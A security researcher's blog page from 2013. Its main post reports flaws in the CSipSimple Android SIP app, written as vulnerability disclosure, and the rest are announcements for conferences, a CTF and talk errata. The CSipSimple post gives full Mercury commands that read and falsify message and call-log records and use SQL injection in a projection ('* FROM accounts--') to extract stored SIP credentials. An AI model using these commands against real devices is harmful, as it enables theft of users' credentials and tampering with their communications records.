Thursday, June 27, 2013

Some UnSexy CSipSimple Flaws

I decided to take a very quick pass at Android API-level issues in the CSipSimple SIP application for Android. I recently began testing this app out after signing up for an OSTEL account, where they recommend CSipSimple as a SIP client. While my findings aren't terribly sexy, I figured I'd share them anyway.

EDIT: I realized in my haste, I omitted the version number: this is CSipSimple v1.00.00 r2225

(Hat tip to Mark Dowd at Azimuth for inadvertently prompting me to take a gander at this.)

My workflow for Android app auditing and RE typically entails a combination of static and dynamic analysis (using tools like Androguard, apktool, AndBug, Mercury, and a bunch of custom/bespoke scripts). However, in the interest of time, I took the lame-but-effective approach of using Mercury to quickly identify Content Providers exposed by CSipSimple and their respective permission requirements:

mercury> run app.provider.info -a com.csipsimple
Package: com.csipsimple
  Authority: com.csipsimple.prefs
    Read Permission: android.permission.CONFIGURE_SIP
    Write Permission: android.permission.CONFIGURE_SIP
    Multiprocess Allowed: False
    Grant Uri Permissions: False
  Authority: com.csipsimple.db
    Read Permission: android.permission.CONFIGURE_SIP
    Write Permission: android.permission.CONFIGURE_SIP
    Multiprocess Allowed: False
    Grant Uri Permissions: False

CSipSimple declares in its manifest the CONFIGURE_SIP permission, but doesn't add the protectionLevel attribute (so the permission is requestable/obtainable by other applications). This permission is required to interact with CSipSimple's providers, so I quickly added that to the Mercury agent's manifest, repackaged it, and reinstalled it. Next, identifying all the URIs handled by this provider shows interesting (though expected, for an IM/VoIP app) names:

mercury> run app.provider.finduri com.csipsimple
Scanning com.csipsimple...
content://com.csipsimple.prefs/raz
content://com.csipsimple.db/
content://com.csipsimple.db/calllogs
content://com.csipsimple.db/outgoing_filters
content://com.csipsimple.db/accounts/
content://com.csipsimple.db/accounts_status/
content://com.android.contacts/contacts
content://com.csipsimple.db/accounts_status
content://com.csipsimple.prefs/preferences
content://com.csipsimple.db/accounts
content://com.csipsimple.prefs/
content://com.csipsimple.prefs/preferences/
content://com.csipsimple.db/messages
content://com.csipsimple.db/thread
content://com.csipsimple.db/outgoing_filters/
content://com.csipsimple.db/messages/
content://com.csipsimple.db/thread/
content://com.csipsimple.db/calllogs/

Mercury's scanner modules could also whiz through the exposed providers and find which ones were vulnerable to SQL injection (many providers in this package are, but -- spoiler alert -- in the case of this app, injection would be redundant):

mercury> run scanner.provider.injection -a com.csipsimple
Scanning com.csipsimple...
Not Vulnerable:
  content://com.csipsimple.prefs/raz
  content://com.csipsimple.db/
  content://com.csipsimple.prefs/
  content://com.csipsimple.prefs/preferences
  content://com.csipsimple.prefs/preferences/
  content://com.android.contacts/contacts
  content://com.csipsimple.db/accounts_status
  content://com.csipsimple.db/accounts_status/

Injection in Projection:
  content://com.csipsimple.db/calllogs
  content://com.csipsimple.db/outgoing_filters
  content://com.csipsimple.db/accounts/
  content://com.csipsimple.db/accounts
  content://com.csipsimple.db/messages
  content://com.csipsimple.db/outgoing_filters/
  content://com.csipsimple.db/messages/
  content://com.csipsimple.db/calllogs/

Injection in Selection:
  content://com.csipsimple.db/thread/
  content://com.csipsimple.db/calllogs
  content://com.csipsimple.db/outgoing_filters
  content://com.csipsimple.db/messages
  content://com.csipsimple.db/thread
  content://com.csipsimple.db/outgoing_filters/
  content://com.csipsimple.db/messages/
  content://com.csipsimple.db/calllogs/

It's possible to query the messages and calllogs providers directly. Starting with the messages provider, we see the the following IMs/message entries:

mercury> run app.provider.query content://com.csipsimple.db/messages
| id | sender | receiver         | contact          | body                       | mime_type  | type | date          | status | read | full_sender        |
| 1  | SELF   | sip:bob@ostel.co | sip:bob@ostel.co | Hello! | text/plain | 5    | 1372293408925 | 405    | 1    | < sip:bob@ostel.co> |

As represented in this activity/screen:


Furthermore, it's possible to update the messages provider. Here we change both the logged contact and logged message:

mercury> run app.provider.update content://com.csipsimple.db/messages --selection "id=?" --selection-args 1 --string receiver "sip:badguy@ostel.co" --string contact "sip:badguy@ostel.co" --string body "omg crimes" --string full_sender "<sip:badguy@ostel.co>"
Done.

Which updates the activity/screen accordingly:



And with the calllogs provider, we see, well...call logs:


mercury> run app.provider.query content://com.csipsimple.db/calllogs
| _id | name | numberlabel | numbertype | date          | duration | new | number                   | type | account_id | status_code | status_text          |
| 5   | null | null        | 0          | 1372294364590 | 286      | 0   | "Bob" <sip:bob@ostel.co> | 1    | 1          | 200         | Normal call clearing |
| 4   | null | null        | 0          | 1372294151478 | 34       | 0   | <sip:bob@ostel.co>       | 2    | 1          | 200         | Normal call clearing |
...

Represented in this activity/screen:



Which can also be updated (in this example, in one fell swoop, using a selection constraint to update all the records for "bob@ostel.co":

mercury> run app.provider.update content://com.csipsimple.db/calllogs --selection "number=?" --selection-args "<sip:bob@ostel.co>" --string number "<sip:badguy@ostel.co>"
Done.

Also updating the activity/screen with the call log accordingly:


In the case where a seemingly innocuous application requests the aforementioned CONFIGURE_SIP permission, it would subsequently have unfettered access to the CSipSimple message and call logs. However, I don't anticipate you'll find "Angry Birds: NSA Edition" in Google Play anytime soon.


UPDATE (2013-06-27 16:33): Another omission during my haste -- those SQLi vulns are useful for snagging creds from the accounts table, too. First, let's look at what's actually in the DB backing these providers (whitespace edited for brevity):

mercury> run app.provider.query content://com.csipsimple.db/calllogs --projection "* FROM SQLITE_MASTER--"
| type  | name             | tbl_name         | rootpage | sql
                                              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)
                                              |
| table | accounts         | accounts         | 4        | CREATE TABLE accounts (id INTEGER PRIMARY KEY AUTOINCREMENT,active INTEGER,wizard TEXT,display_name TEXT,p
riority INTEGER,acc_id TEXT NOT NULL,reg_uri TEXT,mwi_enabled BOOLEAN,publish_enabled INTEGER,reg_timeout INTEGER,ka_interval INTEGER,pidf_tuple_id TEXT,force_contac
t TEXT,allow_contact_rewrite INTEGER,contact_rewrite_method INTEGER,contact_params TEXT,contact_uri_params TEXT,transport INTEGER,default_uri_scheme TEXT,use_srtp IN
TEGER,use_zrtp INTEGER,proxy TEXT,reg_use_proxy INTEGER,realm TEXT,scheme TEXT,username TEXT,datatype INTEGER,data TEXT,initial_auth INTEGER,auth_algo TEXT,sip_stack
 INTEGER,vm_nbr TEXT,reg_dbr INTEGER,try_clean_reg INTEGER,use_rfc5626 INTEGER DEFAULT 1,rfc5626_instance_id TEXT,rfc5626_reg_id TEXT,vid_in_auto_show INTEGER DEFAUL
T -1,vid_out_auto_transmit INTEGER DEFAULT -1,rtp_port INTEGER DEFAULT -1,rtp_enable_qos INTEGER DEFAULT -1,rtp_qos_dscp INTEGER DEFAULT -1,rtp_bound_addr TEXT,rtp_p
ublic_addr TEXT,android_group TEXT,allow_via_rewrite INTEGER DEFAULT 0,sip_stun_use INTEGER DEFAULT -1,media_stun_use INTEGER DEFAULT -1,ice_cfg_use INTEGER DEFAULT
-1,ice_cfg_enable INTEGER DEFAULT 0,turn_cfg_use INTEGER DEFAULT -1,turn_cfg_enable INTEGER DEFAULT 0,turn_cfg_server TEXT,turn_cfg_user TEXT,turn_cfg_pwd TEXT,ipv6_
media_use INTEGER DEFAULT 0,wizard_data TEXT) |
| table | sqlite_sequence  | sqlite_sequence  | 5        | CREATE TABLE sqlite_sequence(name,seq)

Next, we just toss a pretty vanilla SQLi into the projection of the query and snag whatever's in accounts (because I'm lazy), including creds (highlighting/emphasis mine):

mercury> run app.provider.query content://com.csipsimple.db/calllogs --projection "* FROM accounts--"
| id | active | wizard | display_name | priority | acc_id               | reg_uri      | mwi_enabled | publish_enabled | reg_timeout | ka_interval | pidf_tuple_id | force_contact | allow_contact_rewrite | contact_rewrite_method | contact_params | contact_uri_params | transport | default_uri_scheme | use_srtp | use_zrtp | proxy              | reg_use_proxy | realm | scheme | username | datatype | data           | initial_auth | auth_algo | sip_stack | vm_nbr | reg_dbr | try_clean_reg | use_rfc5626 | rfc5626_instance_id | rfc5626_reg_id | vid_in_auto_show | vid_out_auto_transmit | rtp_port | rtp_enable_qos | rtp_qos_dscp | rtp_bound_addr | rtp_public_addr | android_group | allow_via_rewrite | sip_stun_use | media_stun_use | ice_cfg_use | ice_cfg_enable | turn_cfg_use | turn_cfg_enable | turn_cfg_server | turn_cfg_user | turn_cfg_pwd | ipv6_media_use | wizard_data |
| 1  | 1      | OSTN   | OSTN         | 100      | <sip:THISISMYUSERNAME@ostel.co> | sip:ostel.co | 1           | 1               | 1800        | 0           | null          | null          | 1                     | 2                      | null           | null               | 3         | sip                | -1       | 1        | sips:ostel.co:5061 | 3             | *     | Digest | THISISMYUSERNAME    | 0        | THISISMYPASSWORD | 0            | null      | 0         | *98    | -1      | 1             | 1           |                     |                | -1               | -1                    | -1       | -1             | -1           |                |                 |               | 0                 | -1           | -1             | -1          | 0              | -1           | 0               |                 |               |              | 0              |             |

Saturday, March 30, 2013

SOURCE Boston Capture The Flag Competition

SOURCE BostonMassHackers

In case you hadn't already heard, SOURCE Boston and MassHackers are teaming up to put on a Capture The Flag (CTF) competition April 18-19, right after SOURCE Boston and just before MassHackers' BeaCon mini-conference.

Although the event is SOURCE's first toe-in-the-water for running a CTF (it's been discussed every year), I'm pretty stoked about some of the challenges that have been submitted thus far, and I expect it to be an all-around fun event.

The competition is open to both SOURCE Boston attendees and non-attendees alike, and advanced registration is strongly encouraged. More information can be found at http://ctf.sourceconference.com/

Tuesday, March 5, 2013

Lessons In Mobile Penetration Testing at SOURCE Boston 2013


I'll once again be giving "Lessons In Mobile Penetration Testing" at SOURCE Boston this year. The class is currently undergoing some restructure, including revised class material, new/updated labs, and an updated VM (and, subsequently, toolset). We're also looking to tackle some of the operational challenges of previous classes.

We're expecting an even better class this go 'round, so be sure to get your seat today!

Registration for this and other fine training courses can be found at the SOURCE Boston training page.

Monday, January 7, 2013

BeaCon 2013!



For the *third* year in a row, MassHackers (a "meetup"-ish group I co-founded with a few other folks [during my time in Boston], and currently organized by Brandon Tansey) will be holding it's mini-conference, BeaCon, on Saturday, April 20, 2013, following SOURCE Boston. BeaCon is "aimed at showcasing presentations on hacking and security-related topics," with a particular emphasis on attracting presenters from the Boston-area.
So far, we think it's been a pretty cool/fun event.
Unlike previous years, we're charging a modest fee ($20) for BeaCon 2013 tickets. The reasons for this are simple: we want to stave off any venue capacity issues and reduce the likelihood of "no shows". To that end, we're offering two types of tickets:
  • A "T-Shirt" ticket, wherein the $20 goes towards a (nice!) MassHackers / BeaCon t-shirt for the attendee, claimable at the event
  • A "Refunded" ticket, where the full $20 (in cash) is given back to the attendee at the event
As of today (January 07, 2013), both registration and the Call For Papers are open. Information for both can be found at the BeaCon Page. On behalf of MassHackers, we hope to see you there!

Tuesday, August 7, 2012

Errata to "Avoiding Android App Security Pitfalls" preso

In mid-July of this year, I presented "Avoiding Android App Security Pitfalls" at Mobile+Web DevCon 2012 in San Francisco, CA (NOTE: I also gave a similar talk at CAD Inc's IT Hot Topics conference). The attendees consisted mostly of developers, and it was somewhat refreshing to attend/present at something that wasn't solely a "security conference". My talk, the content of which may be familiar to some, was generally well received (I think).

For those interested, the slide deck is available on Slideshare.

This week, I was a bit surprised to receive an email from Nick Kralevich of the Android security team. It seems he saw the slides, and provided a bit of feedback, which (with his permission), I've decided to share, with my own commentary/response (after all, what better source than straight from the proverbial horse's mouth?):

On slide 6, you discuss Android fragmentation and it's effects on security.  Platform version numbers are not an accurate measure of whether or not a security patch is applied.  As part of our compatibility testing process (CTS), we routinely test for known security vulnerabilities. Android distributions cannot pass CTS if they have a known security vulnerability, regardless of the version number of the release.  Because of this testing, security patches are getting out much faster than implied by the platform version number. 

Having worked with carriers and OEMs in the past, I can attest to this type of testing being done prior to release, and Android is no exception (and was actually the very target of some of those projects I was involved in). In retrospect, this slide wasn't clear enough, but in the talk itself, I highlighted OEMs and carriers as being a chokepoint in the update process, often to a detriment. I also cited, and directed the audience to (though, again, not in the slides, mea culpa) a presentation at BlackHat USA 2011 by Anthony Lineberry, Tim Wyatt, and Tim Strazzere -- "Don't Hate The Player, Hate The Game: Inside the Android Security Patch Lifecycle", more info for which can be found on the Lookout Blog. These three fellows dove more into the various factors that play into patch delays in Android's core (incl. the kernel). Again, this wasn't evident in my slide, and it could have likely been interpreted, on the surface, that I was saying it was Google's fault -- I wasn't! :>

(Additional research in this area also includes Dan Guido and Mike Arpaia's fine Mobile Exploit Intelligence Project)

On slide 34, you state the Android's umask is 000. In Android 4.1 (Jelly Bean), this changed. The default umask in Jelly Bean is now 077.

Excellent news! This was a commit that, admittedly, flew under my radar -- apparently this change wasn't really hyped up too much. Something I should have caught prior to my presentation

On slide 37-39, you discuss logs information leakage.  In Android 4.1, the READ_LOGS permission was restricted. Third party apps can no longer view app log entries. This should help minimize the risk associated with inappropriate data logging.

Same with this one, too. I should have caught -- and highlighted this -- a bit more in the presentation. This was also an "under the radar" revocation of this permission. As it turns out, there were some issues opened up on the Android repo on Google Code, as others were unaware of this change, such as #34792 and #34785. Good info to know going forward! Incidentally, the work Andrew Reiter and I did on Android Permissions Mapping would likely have noticed this change. Oh well, too late! 

On slide 59, you discuss an app framework case study with world writable directories.  World writable directories are not allowed on Android compatible devices.  I've added these directories to our CTS tests, so that new or updated devices cannot launch without fixing this issue. It's important to note that this bug is not present in Android itself, but rather, a third party Android distribution.

This is a case study I've used time and time again (but an issue I see crop up frequently enough that I still feel it's valid). I wasn't previously aware of all the checks being done in CTS. As a matter of fact, this particular issue was in a third-party application, so the CTS commit which adds in checks for the directories associated with this app may be a bit moot.

As I told Nick, I'm happy to post updates/errata to presentations whenever possible, and to share information people may have missed.

Sunday, April 22, 2012

Voight-Kampff'ing The BlackBerry PlayBook - SOURCE Boston 2012

This past week, Ben and I presented at SOURCE Boston 2012 what (we hope) is the third and final iteration of our BlackBerry PlayBook talk, entitled "Voight-Kampff'ing The BlackBerry PlayBook". Though we've already given other versions of this talk (such as the one at INFILTRATE 2012), we're ready to call it quits with any (public) PlayBook stuff (for now...?)

The slides from SOURCE Boston are available at Slideshare.

What changed between our INFILTRATE talk and our SOURCE talk? Well, most notably, we cited that RIM addressed some of the issues we identified (i.e. the PPS ".all" infoleak, which culminated in the ability to compromise BlackBerry Bridge). TabletOS 2.0, upon release to the public, "fixed" this (still wondering "how", but we'll get there... :> ). Additionally, we verified some additional speculation/behaviors around authman, which were hinted at in the presentation, but we'll probably need to research this a bit more, if only for satisfying personal curiosities.

As an aside, though I recently left Intrepidus Group, and just prior to that had started what was going to be a multipart series on our PlayBook research on Intrepidus' Insight blog, I plan to continue that series (in some form or another) here on this blog. So, for those interested, please be patient :>

Wednesday, September 28, 2011

OWASP Mobile Top 10 Risks at AppSec USA

(Cross-posted from the Intrepidus Group Insight blog)

As one of the project leaders for the OWASP Mobile Security Project, it behooved me to help present, nay unveil the Release Candidate of the OWASP Top 10 Mobile Risks at OWASP AppSec USA 2011. Along with two of the other project leaders — Jack Mannino, of nVisium Security, and Mike Zusman, of Carve Systems — we discussed the general goals of the OWASP Mobile Security Project, its history, and finally the Top 10 Risks themselves. For each entry, we tried to provide an example of bad design or insecure coding practice that would give rise to such a risk, and/or a real world news story resultant of the associated risk item. We received great feedback from attendees, and it seemed some were very charged and passionate about the “top 10″ presented there. As mentioned in the slide deck, there is a 60-day window (from the unveiling) in which the RC Top 10 can be refuted or changed before we push it up to “Final” (that window ends on November 22).
The slide deck is available over at SlideShare.
We encourage anyone who’s interested to get involved in the OWASP Mobile Security Project (visit the OWASP wiki for information on mailing lists and other ways to help). With the Top 10 Risks and Top 10 Controls finally seeing the light of day, we’ve made some headway, but we’ve still got a long way to go.